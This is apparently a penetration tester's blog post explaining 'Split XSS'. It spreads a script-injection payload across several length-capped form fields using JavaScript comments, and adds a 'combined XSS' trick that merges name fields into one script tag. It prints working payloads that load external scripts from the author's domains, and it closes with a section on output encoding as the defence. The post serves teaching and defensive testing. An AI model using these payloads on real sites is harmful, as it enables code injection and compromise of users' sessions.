Split XSS

Mon 11th Jan 21

I'm currently working on a test (actually it was back in November, but I started writing this then got distracted) and have found an edit form which has 8 input fields, none of which do any output encoding and no input validation or filtering. This would normally be perfect for XSS attacks however there is a limitation, the site caps all fields at 20 characters. There may me some experts out there who can squeeze a working attack in to 20 characters, but I can't [1], so I demonstrated HTML injection by injecting a simple bold tag:

before"><b>12345678901234567890

Obviously I can't show this on the real site, so here it is in a lab I built to test it out. As you can see the input is displayed back without encoding but has been truncated to twenty characters.

Demonstrating HTML injection

I was going to flag it up to be fixed along with the other working XSS issues I found on the site, but then I decided to have a play.

As there were no limitations on the input characters I thought I'd see if I could get something working with an open script tag but no close tag, it shouldn't work, but was worth a try. It didn't work, but got me thinking, if I could open a tag in one input, why not close it in another? Then all I would need to do is to worry about all the stuff in the middle.

Input 1

"><script>alert(1)

Input 2

</script>

An open script tag with HTML between it and the close tag

As can be seen from the screenshot above, it is close, but the HTML between the two injection points is not valid JavaScript so it fails with the following error:

An error in the browser console

Now there are probably a few different ways to handle this, but the easiest one I could think of was to simply comment out the interfering HTML.

Input 1

"><script>alert(1)/*

Input 2

*/</script>

The alert box is now working because the HTML is commented out

Perfect, we now have working JavaScript and have found a way to break out of the initial twenty character limit. Let's see how much space we have to play with:

  • We lose twelve characters from the first field to close the input tag and start the script tag and then start the comment, that leaves eight.
  • In each field in the middle we lose four characters to closing the previous comment at the start and opening a new one at the end, giving sixteen for the payload.
  • In the last field we use, we lose eleven characters to closing the last comment and then closing the script tag leaving nine.
12345678901234567890|
"><script>12345678/*|
*/1234567890123456/*|
*/1234567890123456/*|
*/123456789</script>|

This gives a theoretical payload space of: 8 + (6 * 16) + 9 = 113 characters.

This is not a raw 113 characters, it still has to be broken down in a way that the browser can parse correctly, but is better than a single 20 character input. Luckily, JavaScript is very forgiving over how it can be broken down, did you know that you can put a comment between objects and method calls or properties? I didn't till I started playing with them [2]. With a little bit of work I came up with the following where each line fits within its 20 character limits and is still fully functional.

12345678901234567890|
"><script>/*        |
*/x=document/*      |
*/.createElement(/* |
*/"script");x./*    |
*/src="//dn.lc/s";/*|
*/document.head./*  |
*/appendChild(x);/* |
*/</script>         |

For those not familiar with JavaScript, it creates a new script element which uses the src attribute to load an external script file. This new element is then appended to the document. This is the equivalent of adding the following to the page.

<script src="//dn.lc/s"</script>

I'm lucky to have a short domain name which I use as a URL shortner, but even with something longer, there are a few characters left to play with, so there is some wiggle room for those with longer domains.

As the injection breaks the way the page looks, by commenting out a big chunk of the HTML, the external script first rewrites the page back to how it should look, and then runs its malicious content, in this case, the always evil alert box.

Here is the setup and exploit in action.

Injecting a basic JavaScript based payload

The basic JavaScript payload executing and showing an alert box

Having shown that the attack is possible using just built in JavaScript functions, it is also worth showing that if the vulnerable site uses jQuery, the attack becomes even easier as it can be done using just five of the inputs instead of all eight, and without requiring the short domain name.

12345678901234567890|
"><script>/*        |
*/$.getScript(/*    |
*/"//digi.ninja/"+/*|
*/"split.js");/*    |
*/</script>/*       |

I'm sure there are other testers using this approach on a regular basis, but it isn't something I've seen mentioned anywhere and it isn't covered on any of the courses I've either taught or been on, and so I figured it was worth sharing. If you want to have a play, I've put a lab up with my vulnerable test page, Split XSS Lab, have fun.

Bonus - Combined XSS

This is another technique I used on the same test, this isn't a new one for me and I have seen others use it, but I've not seen any real documentation for it so thought I'd include it here.

Rather than try to explain it, I'll just talk through the way I used it in the test and hopefully that will be enough to get the idea across.

When registering for the site, I had to enter my first name and my surname in two separate fields, the site then used my full name in various areas, such as "Welcome back Robin Wood" on the main dashboard or giving me credit for doing work on the shared list of completed tasks.

Playing with the inputs I found that they had created a custom input validator which allowed all characters but would throw an exception if I entered a full HTML tag. For example, abc<b was allowed, but abc<b> was blocked.

When the combined name was displayed, there was no output encoding.

The attack is simple, I entered my first name as abc<script src="//digi.ninja/script.js" (note the missing closing >) and my surname as />. When used by the site, it combined the two fields to give the following valid HTML tag which would bring in my external script and allow me to run whatever extra code I wanted.

abc<script src="//digi.ninja/script.js" />

The take away, neither field on their own could be used for anything malicious, but because the site helpfully combined the two together for me I was able to slip past the defences and get my code running.

I've included a section to test out this vulnerability in the Split XSS Lab.

Defences

Neither of these vulnerabilities would have worked if the site had been doing correct output encoding. By HTML encoding the strings before rendering them, there is no way I could have created my malicious HTML tags and so could not have got code execution.

Input validation and filtering has its place, and can help stop malicious content from getting into the site in the first place, but should never be relied upon on its own to defend a site, it should only be a part of a solid defensive layering.

Always assume that content which has come from an untrusted source - often, but not always, a user - is tainted in some way, and treat it as such when using it, whether that is including it directly in HTML content, adding it to the DOM through JavaScript, or using it to build a SQL query.


[1] While I was writing this blog, @CVE-JACKSON-1337 posted this tweet with three XSS attacks that are all under 20 characters. The only problem, two of them would require you to have a 3 character domain name to fit within the constraints here, and one only has eight characters of payload space. Close, but not close enough for me.

[2] If you want another example of being able to break commands and functions down using comments, check out this blog and tool by Wireghoul where he shows how the same technique can be used with PHP.

Recent Archive

Support The Site

I don't get paid for any of the projects on this site so if you'd like to support my work you can do so by using the affiliate links below where I either get account credits or cash back. Usually only pennies, but they all add up.